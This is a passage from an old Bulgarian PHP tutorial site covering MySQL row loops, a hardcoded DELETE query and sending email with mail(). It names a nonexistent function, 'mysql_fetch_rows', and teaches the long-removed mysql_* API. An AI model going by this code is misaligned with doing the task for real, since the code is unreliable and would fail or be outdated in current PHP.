Сега малко отклонение от горната тема. Какво прави ето това : while ($rows = mysql_fetch_rows($result)). Този код, присвоява на $rows дадения ред от базата данни, докато не се изчерпат. Примерно имаме 5 записа в DB-то. Тогава при първият цикъл в $rows е записан 1вият запис. При втория цикъл - 2рия запис и т.н. В нашият случай ние имаме 3 полета. При първият цикъл на $rows се записват ID, NAME и EMAIL, които сме добавили първи. ID - $rows[0] ; NAME - $rows[1] и EMAIL - $rows[2]. По този начин обхождаме цялата таблица и изкарваме съдържанието и на екрана.

Да разгледаме и функцията DELETE и край с този урок. Мисля, че за начало толкова стига. Нека имаме следния код :

<?php

$connection = mysql_connect("host", "username", "password");
$db = mysql_select_db("database", $connection);
$query = "DELETE FROM table WHERE name = 'Иван Иванов'";
$result = mysql_query($query, $connection);

?>

В случая командата DELETE претърсва таблицата table и изтрива всеки запис с name = 'Иван Иванов'. Мисля, че толкова разяснявания са достатъчни. Очаквайте в най-скоро време повече уроци и примери с MySQL база данни :)

21.04.02 Как да изпратим email през РНР
автор : PoLiG
брой прочитания : 137

<?php
$mail = "Съобщението, което искаме да изпратим";
$email = "polig4e@hotmail.com";
$subject = "Темата на съобщението";
$from = "From:Peter Petrov <p_petrov@abv.bg>";

@mail("$email", "$subject", "$mail", "$from");
?>

$mail - Това е съобщението, което ще изпратите на дадения човек.
$email - Email-а на човека, на когото ще изпратите email
$subject - Темата на вашето съобщение
$from - Вашето име и вашия email

Ако искате, можете да направите форма в HTML файл и да препращате към този. За въпроси - evangelatov@hotmail.com


 
Изтегли SEO оптимизация     ·     Уеб дизайн     ·     селективни колектори